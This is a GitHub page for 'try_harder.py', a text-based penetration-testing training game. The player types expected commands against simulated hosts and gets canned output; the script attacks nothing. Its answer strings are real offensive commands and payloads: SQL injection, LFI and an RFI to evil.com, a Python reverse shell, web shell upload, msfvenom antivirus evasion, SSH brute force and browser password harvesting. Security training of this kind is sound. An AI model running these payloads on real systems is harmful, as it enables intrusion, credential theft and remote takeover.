-
Notifications
You must be signed in to change notification settings - Fork 11
/
try_harder.py
2094 lines (1971 loc) · 97.7 KB
/
try_harder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from colorama import Fore, Back, Style, init
import time
import inspect
import os
# Initialize colorama
init()
# Declare current_level as global
current_level = 0 # Declare at the top of your script
# Function to display the title screen
def display_title_screen():
print(Fore.CYAN + "========================================================================")
print(" WELCOME TO 'TRY HARDER': The Penetration Testing Simulation ")
print("========================================================================" + Style.RESET_ALL)
print("Created by: milosilo")
print("Twitter: @milosilo_hacks")
print("https://github.com/milosilo")
print(Fore.CYAN + "========================================================================" + Style.RESET_ALL)
def title_screen():
global points
global save_point
print("Current Host:", current_level)
print("Points:", points)
print(Fore.CYAN + "========================================================================" + Style.RESET_ALL)
choice = input("Type 'reset' to reset the game or press Enter to continue: ")
if choice == "reset":
reset_game()
# Function to simulate a host (level)
def host_one():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 1: Vulnerable Web Server" + Style.RESET_ALL)
print("You are connected to a Kali Linux machine. Your first task is to find your network address.")
print(Fore.YELLOW + "Hint: Use a command that shows network interfaces." + Style.RESET_ALL)
cmd = "ifconfig"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Output: inet 192.168.1.100 netmask 255.255.255.0" + Style.RESET_ALL)
print("Great! Now proceed to scan the target host.")
print(Fore.YELLOW + "Hint: Use a popular network scanning tool to scan IP 192.168.1.1." + Style.RESET_ALL)
cmd = "nmap -sS 192.168.1.1"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Scan Output: 1 open port - 80/tcp open" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Function to simulate host 2
def host_two():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 2: Exposed Database Server" + Style.RESET_ALL)
print("Your task is to enumerate the database server with port 22 open.")
print(Fore.YELLOW + "Hint: Use a brute-force tool against the user 'root' and IP 192.168.1.2." + Style.RESET_ALL)
cmd = "hydra -l root -P wordlist.txt 192.168.1.2 ssh"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Brute-force Output: Password found for user 'root'" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
def host_three():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 3: DNS Server" + Style.RESET_ALL)
print("Your task is to enumerate DNS records.")
print(Fore.YELLOW + "Hint: Use a DNS enumeration tool against IP 192.168.1.3." + Style.RESET_ALL)
cmd = "dnsrecon -d 192.168.1.3"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "DNS Output: Found subdomains: sub1, sub2" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
def host_four():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 4: Privilege Escalation on Linux" + Style.RESET_ALL)
print("Your task is to escalate your privileges on a Linux machine.")
print(Fore.YELLOW + "Hint: Use a common privilege escalation enumeration command to gather information." + Style.RESET_ALL)
cmd = "sudo -l"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Output: User may run the following commands: (ALL) NOPASSWD: /usr/bin/vim" + Style.RESET_ALL)
print("Great! Now exploit the privilege escalation.")
print(Fore.YELLOW + "Hint: Use the information gathered to escalate your privileges." + Style.RESET_ALL)
cmd = "sudo vim -c ':!/bin/bash'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "You have successfully escalated your privileges!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 5: Windows Enumeration
def host_five():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 5: Windows Enumeration" + Style.RESET_ALL)
print("Your task is to enumerate a Windows machine.")
print(Fore.YELLOW + "Hint: Use a Windows enumeration tool against IP 192.168.1.5." + Style.RESET_ALL)
cmd = "nbtscan 192.168.1.5"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Output: Found open SMB shares." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 6: Web Application Exploits
def host_six():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 6: Web Application Exploits" + Style.RESET_ALL)
print("Your task is to exploit a vulnerability in a web application.")
print(Fore.YELLOW + "Hint: Use a SQL injection payload on the login page." + Style.RESET_ALL)
cmd = "' OR '1'='1"
user_input = input("Enter SQL injection payload: ")
if user_input.strip() == cmd:
print(Fore.GREEN + "You have successfully exploited the web application!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 7: Buffer Overflow Exploitation
def host_seven():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 7: Buffer Overflow Exploitation" + Style.RESET_ALL)
print("Your task is to exploit a buffer overflow vulnerability.")
print(Fore.YELLOW + "Hint: Use a specific pattern of 200 to identify the overflow." + Style.RESET_ALL)
cmd = "pattern_create.rb 200"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "You have successfully created a unique pattern!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
#Host 5: Eyewitness web enumeration
def host_five():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 5: Using Eyewitness for Web Enumeration" + Style.RESET_ALL)
print("Your task is to use Eyewitness to enumerate web servers.")
print(Fore.YELLOW + "Hint: Use Eyewitness against the target web servers list named target.txt." + Style.RESET_ALL)
cmd = "eyewitness --web target.txt"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "Output: Screenshots and report generated!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 6: Lateral Movement Techniques
def host_six():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 6: Lateral Movement Techniques" + Style.RESET_ALL)
print("Your task is to perform lateral movement to another system.")
print(Fore.YELLOW + "Hint: Use psexec.py for lateral movement to gain administrator access on windows host 192.168.1.6." + Style.RESET_ALL)
cmd = "psexec.py administrator@192.168.1.6"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "You have successfully moved laterally!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 7: Modifying & Using an Exploit from Searchsploit
def host_seven():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 7: Modifying & Using an Exploit from Searchsploit" + Style.RESET_ALL)
print("Your task is to find an exploit on a host running apache using Searchsploit.")
print(Fore.YELLOW + "Hint: Find an exploit for apache 2.2." + Style.RESET_ALL)
cmd = "searchsploit apache 2.2"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd:
print(Fore.GREEN + "You have successfully found an exploit!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 8: Linux File Permissions Exploitation
def host_eight():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 8: Linux File Permissions Exploitation" + Style.RESET_ALL)
print("Your task is to exploit file permissions on a Linux machine.")
print(Fore.YELLOW + "Hint: First, list the files in the /secret directory." + Style.RESET_ALL)
cmd1 = "ls /secret"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: -rw-rw-rw- 1 root root 12 Jan 20 12:34 secret.txt" + Style.RESET_ALL)
print("Great! Now read the content of the file.")
cmd2 = "cat /secret/secret.txt"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "You have successfully exploited the file permissions!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 9: SSH Key Exploitation
def host_nine():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 9: SSH Key Exploitation" + Style.RESET_ALL)
print("Your task is to exploit an SSH key.")
print(Fore.YELLOW + "Hint: Enumerate the home directory to find SSH keys." + Style.RESET_ALL)
cmd1 = "ls ~/.ssh"
user_input = input("root@host_nine:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: id_rsa" + Style.RESET_ALL)
print("Now, use the SSH key to log into the target machine.")
cmd2 = "ssh -i ~/.ssh/id_rsa kali@192.168.1.9"
user_input = input("root@host_nine:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "You have successfully exploited the SSH key!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 10: Web Shell Upload and Execution
def host_ten():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 10: Web Shell Upload and Execution" + Style.RESET_ALL)
print("Your task is to upload and execute a web shell for target http://192.168.1.10/upload.php.")
print(Fore.YELLOW + "Hint: Use a web vulnerability scanner to find file upload functionality." + Style.RESET_ALL)
cmd1 = "nikto -h http://192.168.1.10/upload.php"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: File upload functionality found." + Style.RESET_ALL)
print("Now, upload the web shell.")
cmd2 = "curl -F 'file=@web-shell.php' http://192.168.1.10/upload.php"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "You have successfully uploaded and executed the web shell!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 11: Password Cracking
def host_eleven():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 11: Password Cracking" + Style.RESET_ALL)
print("Your task is to crack a password hash saved as hash.txt.")
print(Fore.YELLOW + "Hint: Use a hash cracking tool using wordlist.txt." + Style.RESET_ALL)
cmd1 = "john --wordlist=wordlist.txt hash.txt"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Password cracked: 123456" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 12: Firewall Evasion
def host_twelve():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 12: Firewall Evasion" + Style.RESET_ALL)
print("Your task is to find bypass on a firewall at 192.168.1.12.")
print(Fore.YELLOW + "Hint: Use an evasion technique for enumeration to scan the target." + Style.RESET_ALL)
cmd1 = "nmap -sS -f 192.168.1.12"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Firewall bypass discovered. Ports found open." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 13: Reverse Shell Exploitation
def host_thirteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 13: Reverse Shell Exploitation" + Style.RESET_ALL)
print("Your task is to exploit a machine using a reverse shell.")
print(Fore.YELLOW + "Hint: First, set up a listener on port 4444." + Style.RESET_ALL)
cmd1 = "nc -lvnp 4444"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Listener set up on port 4444." + Style.RESET_ALL)
print("Now, enter the python reverse shell payload to send to the target machine.")
print("python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"192.168.1.13\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'")
cmd2 = "python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"192.168.1.13\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Reverse shell established!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 14: Privilege Escalation on Windows
def host_fourteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 14: Privilege Escalation on Windows" + Style.RESET_ALL)
print("Your task is to escalate your privileges on a Windows machine.")
print(Fore.YELLOW + "Hint: First, check for unquoted service paths." + Style.RESET_ALL)
cmd1 = "wmic service get name,displayname,pathname"
user_input = input("C:\\Users\\User> ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Unquoted service path found named unquotedsvc using sc." + Style.RESET_ALL)
print("Now, exploit the unquoted service path using exploit 'C:\\evil.exe'.")
cmd2 = "sc config unquotedsvc binPath= C:\\evil.exe"
user_input = input("C:\\Users\\User> ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "You have successfully escalated your privileges on the Windows machine!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 15: Active Directory Enumeration
def host_fifteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 15: Active Directory Enumeration" + Style.RESET_ALL)
print("Your task is to enumerate an Active Directory environment milosilo.com via host 192.168.1.15.")
print(Fore.YELLOW + "Hint: Use an LDAP enumeration tool." + Style.RESET_ALL)
cmd1 = "ldapsearch -x -h 192.168.1.15 -b \"dc=milosilo,dc=com\""
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Users and Groups enumerated." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 16: Data Exfiltration
def host_sixteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 16: Data Exfiltration" + Style.RESET_ALL)
print("Your task is to exfiltrate data from a target machine.")
print(Fore.YELLOW + "Hint: First, identify sensitive data on the machine located in conf files." + Style.RESET_ALL)
cmd1 = "find / -name '*.conf' 2>/dev/null"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Sensitive configuration file found: /usr/milo/web.conf" + Style.RESET_ALL)
print("Now, use SCP to copy the files from 192.168.1.16 to /usr/kali")
cmd2 = "scp user@192.168.1.16:/usr/milo/web.conf /usr/kali/web.conf"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Data successfully exfiltrated!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 17: Wireless Network Cracking
def host_seventeen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 17: Wireless Network Cracking" + Style.RESET_ALL)
print("Your task is to crack a WPA2 wireless network using wlan0.")
print(Fore.YELLOW + "Hint: Capture the WPA handshake first." + Style.RESET_ALL)
cmd1 = "airodump-ng wlan0"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: WPA handshake captured and saved as capture.cap." + Style.RESET_ALL)
print("Now, use aircrack-ng to crack the password using wordlist.txt.")
cmd2 = "aircrack-ng -w wordlist.txt -b SSID capture.cap"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "WPA2 password cracked!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 18: SQL Injection with Manual Exploitation
def host_eighteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 18: SQL Injection with Manual Exploitation" + Style.RESET_ALL)
print("Your task is to manually exploit a UNION SQL injection vulnerability.")
print(Fore.YELLOW + "Hint: Enumerate the database first." + Style.RESET_ALL)
cmd1 = "' UNION SELECT null, database() -- "
user_input = input("Enter SQL Injection payload: ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Database name retrieved: union_station" + Style.RESET_ALL)
print("Now, enumerate the tables.")
cmd2 = "' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema='union_station' -- "
user_input = input("Enter SQL Injection payload: ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Tables successfully enumerated!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 19: Local File Inclusion (LFI)
def host_nineteen():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 19: Local File Inclusion (LFI)" + Style.RESET_ALL)
print("Your task is to exploit a Local File Inclusion vulnerability from url that begins with 'page='")
print(Fore.YELLOW + "Hint: Read the /etc/passwd file." + Style.RESET_ALL)
cmd1 = "page=../../../../../etc/passwd"
user_input = input("Enter LFI payload: ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: /etc/passwd file read successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 20: Remote File Inclusion (RFI)
def host_twenty():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 20: Remote File Inclusion (RFI)" + Style.RESET_ALL)
print("Your task is to exploit a Remote File Inclusion vulnerability from url that begins with 'page='")
print(Fore.YELLOW + "Hint: Include a remote file to execute arbitrary code located at 'http://evil.com/shell.php'" + Style.RESET_ALL)
cmd1 = "page=http://evil.com/shell.php"
user_input = input("Enter RFI payload: ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Remote file included. Code executed!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 21: OS Command Injection
def host_twenty_one():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 21: OS Command Injection" + Style.RESET_ALL)
print("Your task is to perform an OS command injection attack on host 192.168.1.21")
print(Fore.YELLOW + "Hint: Use the ping functionality to perform the attack." + Style.RESET_ALL)
cmd1 = "192.168.1.21; ls"
user_input = input("Enter the IP address to ping: ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Command executed successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 22: Metasploit Framework Exploitation
def host_twenty_two():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 22: Metasploit Framework Exploitation" + Style.RESET_ALL)
print("Your task is to exploit a vulnerable machine using Metasploit.")
print(Fore.YELLOW + "Hint: Use msfconsole to search for an appropriate exploit." + Style.RESET_ALL)
cmd1 = "search type:exploit"
user_input = input("msf6 > ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Exploit found named: exploit/multi/handler" + Style.RESET_ALL)
print("Now, set the exploit with payload windows/meterpreter/reverse_tcp, and run it in a single line chained command. Your host is 192.168.1.22")
cmd2 = "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.1.22; run"
user_input = input("msf6 > ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Exploit successful. Meterpreter session opened!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 23: Bypassing Antivirus
def host_twenty_three():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 23: Bypassing Antivirus" + Style.RESET_ALL)
print("Your task is to bypass an antivirus solution.")
print(Fore.YELLOW + "Hint: Use a tool to obfuscate a known malicious file." + Style.RESET_ALL)
print(Fore.YELLOW + "Hint: windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 15 -o payload.exe" + Style.RESET_ALL)
cmd1 = "msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 15 -o payload.exe"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: File obfuscated and saved as payload.exe" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 24: Post-Exploitation Data Harvesting
def host_twenty_four():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 24: Post-Exploitation Data Harvesting" + Style.RESET_ALL)
print("Your task is to collect sensitive data post-exploitation.")
print(Fore.YELLOW + "Hint: Harvest browser passwords using a run command to a tool located here: post/windows/gather/." + Style.RESET_ALL)
cmd1 = "run post/windows/gather/enum_chrome"
user_input = input("meterpreter > ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Chrome passwords harvested." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 25: IOT Device Exploitation
def host_twenty_five():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 25: IOT Device Exploitation" + Style.RESET_ALL)
print("Your task is to exploit an IOT device at IP 192.168.1.25.")
print(Fore.YELLOW + "Hint: Enumerate the device for open ports first." + Style.RESET_ALL)
cmd1 = "nmap -sS 192.168.1.25"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Open ports found." + Style.RESET_ALL)
print("Now, exploit the device.")
cmd2 = "python3 iot_exploit.py 192.168.1.25"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "IOT device successfully exploited!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 26: Web Shell Upload and Execution
def host_twenty_six():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 26: Web Shell Upload and Execution" + Style.RESET_ALL)
print("Your task is to upload and execute a web shell.")
print(Fore.YELLOW + "Hint: Use a file upload vulnerability to upload your web shell." + Style.RESET_ALL)
cmd1 = "curl -F 'file=@webshell.php' http://192.168.1.26/upload.php"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Web shell uploaded successfully." + Style.RESET_ALL)
print("Now, navigate to the uploaded web shell and execute a command.")
cmd2 = "curl http://192.168.1.26/uploads/webshell.php?cmd=id"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 27: Bypassing 2FA
def host_twenty_seven():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 27: Bypassing 2FA" + Style.RESET_ALL)
print("Your task is to bypass a 2-Factor Authentication system.")
print(Fore.YELLOW + "Hint: Use a phishing attack to capture the 2FA code." + Style.RESET_ALL)
cmd1 = "python3 2fa_phish.py"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: 2FA code captured!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 28: Packet Sniffing and Analysis
def host_twenty_eight():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 28: Packet Sniffing and Analysis" + Style.RESET_ALL)
print("Your task is to capture and analyze network packets.")
print(Fore.YELLOW + "Hint: Use a packet sniffing tool to capture traffic." + Style.RESET_ALL)
cmd1 = "tcpdump -i eth0 -w capture.pcap"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Packets captured and saved to capture.pcap." + Style.RESET_ALL)
print("Now, analyze the capture to find sensitive data.")
cmd2 = "strings capture.pcap | grep 'password'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Sensitive data found!" + Style.RESET_ALL)
points += 1
break
else:
